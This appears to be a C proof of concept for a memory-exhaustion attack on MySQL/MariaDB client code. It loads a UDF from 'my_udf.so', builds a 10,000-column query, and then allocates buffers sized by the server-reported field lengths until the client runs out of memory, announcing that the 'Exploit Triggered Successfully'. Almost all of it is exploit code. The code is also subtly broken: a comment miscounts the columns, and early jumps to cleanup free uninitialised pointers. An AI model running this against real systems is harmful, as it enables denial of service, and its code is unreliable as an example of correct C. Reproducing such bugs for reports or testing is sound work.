#include <mysql.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define HOST "localhost"
#define USER NULL
#define PASS NULL
#define DB   "test"

int main() {
  int rc= 1;
  MYSQL *mysql = mysql_init(NULL);
  ulong allocated= 0;

  /* Connect to local database instance via unix_socket */
  if (!mysql_real_connect(mysql, HOST, USER, PASS, DB, 0, NULL, 0)) {
    fprintf(stderr, "Connection failed: %s\n", mysql_error(mysql));
    mysql_close(mysql);
    return 1;
  }

  if (mysql_query(mysql, "DROP FUNCTION IF EXISTS test"))
  {
    fprintf(stderr, "Drop function failed: %s\n", mysql_error(mysql));
    goto end;
  }

  if (mysql_query(mysql, "CREATE FUNCTION test RETURNS INTEGER SONAME 'my_udf.so'"))
  {
    fprintf(stderr, "Create function failed: %s\n", mysql_error(mysql));
    goto end;
  }

  /* generate 1000 columns */
  int num_columns = 10000;
  size_t query_buffer_size = 64 * num_columns;
  char *query = (char *)malloc(query_buffer_size);
  if (!query) {
      fprintf(stderr, "Failed to allocate memory for query string generation\n");
      mysql_close(mysql);
      return 1;
  }

  strcpy(query, "SELECT ");
  char col_buffer[64];

  for (int i = 1; i <= num_columns; i++) {
      snprintf(col_buffer, sizeof(col_buffer), "CAST(test(%d) AS CHAR) AS c%d", i, i);
      strcat(query, col_buffer);
      if (i < num_columns) {
          strcat(query, ", ");
      } else {
          strcat(query, ";");
      }
  }

  MYSQL_STMT *stmt = mysql_stmt_init(mysql);
  if (!stmt) {
      goto end;
  }

  if (mysql_stmt_prepare(stmt, query, strlen(query))) {
      fprintf(stderr, "mysql_stmt_prepare() failed: %s\n", mysql_stmt_error(stmt));
      mysql_stmt_close(stmt);
      free(query);
      mysql_close(mysql);
      return 1;
  }
  free(query);

  if (mysql_stmt_execute(stmt)) {
      fprintf(stderr, "mysql_stmt_execute() failed: %s\n", mysql_stmt_error(stmt));
      goto end;
  }

  // STEP 1: Retrieve the structural metadata descriptors from the statement
  MYSQL_RES *meta_res = mysql_stmt_result_metadata(stmt);
  if (!meta_res) {
      fprintf(stderr, "Failed to fetch statement metadata: %s\n", mysql_stmt_error(stmt));
      mysql_stmt_close(stmt);
      mysql_close(mysql);
      return 1;
  }

  unsigned int num_fields = mysql_num_fields(meta_res);
  printf("Statement executed. Total metadata columns returned: %u\n", num_fields);

  /* Allocate our explicit application binding structures */
  MYSQL_BIND *binds = calloc(num_fields, sizeof(MYSQL_BIND));
  unsigned long *lengths = calloc(num_fields, sizeof(unsigned long));

  printf("Allocating row memory buffers based entirely on structural column metadata definitions...\n");

  // STEP 2: Loop through each column definition and trust field->length
  for (unsigned int i = 0; i < num_fields; i++) {
    MYSQL_FIELD *field = mysql_fetch_field_direct(meta_res, i);

    /* This is exactly what a high-level driver wrapper sees inside the descriptor array */
    unsigned long metadata_length = field->length;

    binds[i].buffer = malloc(metadata_length);
    if (!binds[i].buffer) {
      fprintf(stderr, "\n[!!!] CRITICAL FAILURE: Out of Memory (OOM) Exploit Triggered Successfully!\n");
      goto end;
    }
    allocated+= metadata_length;

    // Setup the bind structure parameters
    binds[i].buffer_type = field->type;
    binds[i].buffer_length = metadata_length;
    binds[i].length = &lengths[i];
  }

  if (mysql_stmt_bind_result(stmt, binds)) {
      fprintf(stderr, "mysql_stmt_bind_result() failed: %s\n", mysql_stmt_error(stmt));
  } else {
      if (mysql_stmt_fetch(stmt) != MYSQL_NO_DATA) {
          printf("Data successfully fetched into allocated buffers.\n");
      }
  }
  printf("Allocated: %ld bytes\n", allocated);
  rc= 0;

end:
  for (unsigned int i = 0; i < num_fields; i++) {
      free(binds[i].buffer);
  }
  free(binds);
  free(lengths);
  mysql_free_result(meta_res);
  mysql_stmt_close(stmt);
  mysql_close(mysql);
  return rc;
}